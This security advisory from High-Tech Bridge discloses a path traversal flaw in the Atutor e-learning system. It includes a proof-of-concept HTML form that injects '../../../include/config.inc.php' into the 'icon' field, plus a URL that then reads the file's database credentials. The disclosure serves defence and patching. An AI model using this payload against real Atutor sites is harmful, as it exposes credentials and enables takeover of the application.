Lucene search

K
htbridgeHigh-Tech BridgeHTB23297
HistoryFeb 24, 2016 - 12:00 a.m.

Arbitrary File Content Disclosure in Atutor

2016-02-2400:00:00
High-Tech Bridge
www.htbridge.com
496

EPSS

0.004

Percentile

75.0%

High-Tech Bridge Security Research Lab discovered path traversal vulnerability in a popular web-based e-learning system Atutor. A remote attacker can view contents of arbitrary local files on the target system with privileges of the web server.

The vulnerability may allow an attacker gain access to potentially sensitive web application and system information, and use received data to gain complete control over vulnerable web application.

Successful exploitation of vulnerability requires that user is registered and authenticated, but registration is open by default.

The vulnerability exists due to absence of filtration of user-supplied data passed via β€œicon” HTTP POST to β€œ/mods/_core/courses/users/create_course.php” script, when saving information to database. A remote authenticated attacker can use directory traversal sequences (e.g. β€œβ€¦/”) in user’s icon parameter to overwrite its value and then include arbitrary file on the system and view its contents.

The following PoC code can be used to replace path to user’s icon in database. In this example, we will inject path to the system configuration β€œ/include/config.inc.php” file:

<form action=β€œhttp://[host]/mods/_core/courses/users/create_course.php” method=β€œPOST” name=β€œf1” enctype=β€œmultipart/form-data”>
<input type=β€œhidden” name=β€œform_course” value=β€œtrue”>
<input type=β€œhidden” name=β€œMAX_FILE_SIZE” value=β€œ819200”>
<input type=β€œhidden” name=β€œcourse” value=β€œ0”>
<input type=β€œhidden” name=β€œold_access” value=β€œprotected”>
<input type=β€œhidden” name=β€œcreated_date” value=β€œ2016-02-17 13:20:26”>
<input type=β€œhidden” name=β€œshow_courses” value=β€œ0”>
<input type=β€œhidden” name=β€œcurrent_cat” value=β€œ0”>
<input type=β€œhidden” name=β€œtitle” value=β€œvulnerable”>
<input type=β€œhidden” name=β€œpri_lang” value=β€œen”>
<input type=β€œhidden” name=β€œdescription” value=β€œβ€>
<input type=β€œhidden” name=β€œcategory_parent” value=β€œ0”>
<input type=β€œhidden” name=β€œcontent_packaging” value=β€œtop”>
<input type=β€œhidden” name=β€œrss” value=β€œ0”>
<input type=β€œhidden” name=β€œaccess” value=β€œprotected”>
<input type=β€œhidden” name=β€œrelease_date” value=β€œ0”>
<input type=β€œhidden” name=β€œday_release” value=β€œ0”>
<input type=β€œhidden” name=β€œmonth_release” value=β€œ0”>
<input type=β€œhidden” name=β€œyear_release” value=β€œ0”>
<input type=β€œhidden” name=β€œhour_release” value=β€œ0”>
<input type=β€œhidden” name=β€œmin_release” value=β€œ0”>
<input type=β€œhidden” name=β€œend_date” value=β€œ0”>
<input type=β€œhidden” name=β€œday_end” value=β€œ0”>
<input type=β€œhidden” name=β€œmonth_end” value=β€œ0”>
<input type=β€œhidden” name=β€œyear_end” value=β€œ2016”>
<input type=β€œhidden” name=β€œhour_end” value=β€œ0”>
<input type=β€œhidden” name=β€œmin_end” value=β€œ0”>
<input type=β€œhidden” name=β€œbanner” value=β€œβ€>
<input type=β€œhidden” name=β€œinitial_content” value=β€œ1”>
<input type=β€œhidden” name=β€œquota” value=β€œ-2”>
<input type=β€œhidden” name=β€œfilesize” value=β€œ-3”>
<input type=β€œhidden” name=β€œtracking” value=β€œβ€>
<input type=β€œhidden” name=β€œcopyright” value=β€œβ€>
<input type=β€œhidden” name=β€œboolForce” value=β€œβ€>
<input type=β€œhidden” name=β€œMAX_FILE_SIZE” value=β€œβ€>
<input type=β€œhidden” name=β€œcustomicon” value=β€œβ€>
<input type=β€œhidden” name=β€œcustOptCount” value=β€œ0”>
<input type=β€œhidden” name=β€œcourseId” value=β€œ[COURSE_ID]”>
<input type=β€œhidden” name=β€œicon” value=β€œβ€¦/…/…/include/config.inc.php”>
<input type=β€œbutton” name=β€œsubmit” value=β€œSave”>
</form>

The injected parameter is used in β€œreadfile()” function in the β€œ/get_course_icon.php” script. To view contents of the β€œ/include/config.inc.php” file and see database credentials, the attacker needs to open the following URL:

http://[code]/get_course_icon.php?id=[COURSE_ID]

EPSS

0.004

Percentile

75.0%

Related for HTB23297